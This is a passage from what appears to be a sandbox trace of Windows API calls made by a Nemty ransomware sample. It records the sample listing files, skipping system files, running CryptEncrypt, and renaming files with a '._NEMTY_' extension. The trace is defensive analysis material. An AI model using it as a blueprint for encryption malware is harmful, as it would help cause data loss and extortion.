lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0053.726] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.726] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0053.735] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.735] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0053.735] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.735] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0053.745] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.745] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0053.745] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.745] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0053.754] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.754] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0053.754] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.754] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0053.763] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.763] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0053.763] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.763] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0053.779] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.779] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0053.779] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.779] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0053.785] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.785] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0053.785] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.785] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0053.791] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.791] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0053.791] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.791] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400e0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0053.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0053.791] CloseHandle (hObject=0xffffffff) returned 0 [0053.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6340540 [0053.791] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0053.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0053.791] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0053.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0053.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0053.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6343fe8 [0053.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x6344080 [0053.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0053.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0053.791] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png._nemty_kgobjgd_")) returned 0 [0053.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344080 | out: hHeap=0x4f90000) returned 1 [0053.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340540 | out: hHeap=0x4f90000) returned 1 [0053.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0053.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400e0 | out: hHeap=0x4f90000) returned 1 [0053.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c8 | out: hHeap=0x4f90000) returned 1 [0053.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0053.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0053.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0053.792] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d1f29a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d1f29a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5354a, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="BabyBoyMainBackground.wmv", cAlternateFileName="")) returned 1 [0053.792] lstrcmpiW (lpString1="BabyBoyMainBackground.wmv", lpString2=".") returned 1 [0053.792] lstrcmpiW (lpString1="BabyBoyMainBackground.wmv", lpString2="..") returned 1 [0053.792] lstrcmpiW (lpString1="BabyBoyMainBackground.wmv", lpString2="...") returned 1 [0053.792] lstrcmpiW (lpString1="BabyBoyMainBackground.wmv", lpString2="windows") returned -1 [0053.792] lstrcmpiW (lpString1="BabyBoyMainBackground.wmv", lpString2="$RECYCLE.BIN") returned 1 [0053.792] lstrcmpiW (lpString1="BabyBoyMainBackground.wmv", lpString2="rsa") returned -1 [0053.792] lstrcmpiW (lpString1="BabyBoyMainBackground.wmv", lpString2="NTDETECT.COM") returned -1 [0053.792] lstrcmpiW (lpString1="BabyBoyMainBackground.wmv", lpString2="ntldr") returned -1 [0053.792] lstrcmpiW (lpString1="BabyBoyMainBackground.wmv", lpString2="MSDOS.SYS") returned -1 [0053.792] lstrcmpiW (lpString1="BabyBoyMainBackground.wmv", lpString2="IO.SYS") returned -1 [0053.792] lstrcmpiW (lpString1="BabyBoyMainBackground.wmv", lpString2="boot.ini") returned -1 [0053.792] lstrcmpiW (lpString1="BabyBoyMainBackground.wmv", lpString2="boot.ini") returned -1 [0053.792] lstrcmpiW (lpString1="BabyBoyMainBackground.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0053.792] lstrcmpiW (lpString1="BabyBoyMainBackground.wmv", lpString2="ntuser.dat") returned -1 [0053.792] lstrcmpiW (lpString1="BabyBoyMainBackground.wmv", lpString2="desktop.ini") returned -1 [0053.792] lstrcmpiW (lpString1="BabyBoyMainBackground.wmv", lpString2="CONFIG.SYS") returned -1 [0053.792] lstrcmpiW (lpString1="BabyBoyMainBackground.wmv", lpString2="RECYCLER") returned -1 [0053.792] lstrcmpiW (lpString1="BabyBoyMainBackground.wmv", lpString2="BOOTSECT.BAK") returned -1 [0053.792] lstrcmpiW (lpString1="BabyBoyMainBackground.wmv", lpString2="bootmgr") returned -1 [0053.792] lstrcmpiW (lpString1="BabyBoyMainBackground.wmv", lpString2="programdata") returned -1 [0053.792] lstrcmpiW (lpString1="BabyBoyMainBackground.wmv", lpString2="appdata") returned 1 [0053.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0053.792] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainBackground.wmv", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0053.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0053.792] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainBackground.wmv", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoyMainBackground.wmv", lpUsedDefaultChar=0x0) returned 25 [0053.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0053.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0053.793] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainBackground.wmv", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0053.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0053.793] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainBackground.wmv", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoyMainBackground.wmv", lpUsedDefaultChar=0x0) returned 25 [0053.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0053.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0053.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0053.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0053.793] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainBackground.wmv", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0053.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0053.793] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainBackground.wmv", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoyMainBackground.wmv", lpUsedDefaultChar=0x0) returned 25 [0053.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0053.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0053.793] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainBackground.wmv", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0053.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0053.793] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainBackground.wmv", cchWideChar=25, lpMultiByteStr=0x4f9ed58, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoyMainBackground.wmv", lpUsedDefaultChar=0x0) returned 25 [0053.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0053.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94358 [0053.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0053.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0053.793] Sleep (dwMilliseconds=0x5) [0053.802] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd3b72b10, dwHighDateTime=0x1d561e7)) [0053.802] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd3b72b10, dwHighDateTime=0x1d561e7)) [0053.802] GetLastError () returned 0x5 [0053.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0053.802] GetLastError () returned 0x5 [0053.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0053.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0053.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0053.802] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0053.803] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0053.803] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0053.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0053.803] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="8/5Bm/hhwup9Y9+mx56DDo9+KjA5nL3mWM449w3XfSwF0eP2R9xRCG1DrbDyRRPt\r\ns5p+xeIIQskSrBIpRgzy5d/Sr33rOQU7DW+35f70fGYBfpErwloB78tz9f9whuFy\r\nj29/7r59rcHrFyRkN8/ukp5v3D6jLuXvuJbOMXgsqtHOs6O+b64VmOKdFARQ2/wh\r\nEGVRmQRnXEqkSqgUMBpYXs3Ob9UFjag6rMAjIpyiuOt5io8fvggeDAKag335dpdb\r\njVZzlYmrWmbNVPWh/h4Si4C9td1zBlC3xMiTWU4TMCH9D91mT8hp9HV3vxYZFpcp\r\nzqZ5GRux4F/9paUBIUD5lw==\r\n", pcchString=0x653e91c) returned 1 [0053.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340260 [0053.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0053.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0053.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0053.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0053.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403d8 [0053.803] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0053.804] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0053.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0053.804] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.804] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0053.813] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.813] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0053.813] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.813] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0053.823] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.823] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0053.823] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.823] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0053.832] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.832] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0053.832] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.832] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0053.842] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.842] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0053.842] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.842] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0053.851] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.851] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0053.851] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.851] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0053.860] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.860] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0053.860] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.861] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0053.870] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.870] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0053.870] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.870] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0053.879] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.879] WriteFile (in: 